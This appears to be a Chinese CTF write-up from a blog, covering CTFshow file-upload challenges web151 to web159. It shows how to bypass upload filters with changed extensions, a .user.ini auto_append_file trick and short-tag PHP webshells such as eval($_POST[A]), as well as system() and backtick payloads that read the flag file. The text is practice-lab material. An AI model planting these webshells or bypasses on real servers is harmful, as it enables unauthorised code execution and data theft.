CTFshow_文件上传

web151

上传图片,经过测试只能上传后缀为png的图片
抓包改数据:
在这里插入图片描述
在这里插入图片描述
使用蚁剑连接:
在这里插入图片描述
找到flag!
在这里插入图片描述

web152

做法和上题一样!

web153

继续之前的操作,但并没有上传成功:
在这里插入图片描述后缀改成php3发现可以上传成功,但不能被解析,也就不能蚁剑连接

在这里插入图片描述在这里插入图片描述
访问upload时发现存在index.php文件
在这里插入图片描述

使用user.ini绕过
.user.ini

原理: 指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件,巧合的是这题upload目录下有个index.php所以这种方式是可以成功的。

1、上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。这样就在每个php文件上包含了我们的木马文件。
在这里插入图片描述
2、上传木马,因为有文件名限制,命名为shell.png
bp抓包后改后缀为shell.txt
可以访问得到shell.txt
在这里插入图片描述

3、访问同目录下的index.php,此时木马已经解析到这里在这里插入图片描述

蚁剑连接:

在这里插入图片描述
登陆后可以看到我们上传的.user.ini文件以及shell.txt:
在这里插入图片描述
在这里插入图片描述

web154

发现依旧存在index.php这个文件
继续上传.user.ini文件
在这里插入图片描述上传shell.txt
发现上传失败了;
在这里插入图片描述经过测试发现过滤了php
看了看大师傅们的博客发现要用到短标签绕过,也可以大写绕过:

1:<?= eval($_POST[A]);?>
2:<? eval($_POST[A]);?>
3:<% eval($_POST[A]);%>
上面的只有第一个可以用

在这里插入图片描述在这里插入图片描述

蚁剑连接:
在这里插入图片描述
在这里插入图片描述

web155

.user.ini+短标签绕过(同上)

web156

依旧是先上传.user.ini,之后经过测试发现上传木马的时候不仅过滤了php,同时也过滤了[],可以用{}代替!其他的同上
在这里插入图片描述
或者直接省略蚁剑连接:之前的几关也可以
在这里插入图片描述

web157

测试发现多过滤了{};
使用:
<?= system('tac ../f*')?>
然后访问upload/index.php即可:
在这里插入图片描述

web158

同上

web159

在这里插入图片描述不含()时上传成功,当含有()时报错,显然又过滤了()
我们用反单引号绕过:

<?= `cat ../f*`?>

在这里插入图片描述
这题又过滤了system

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值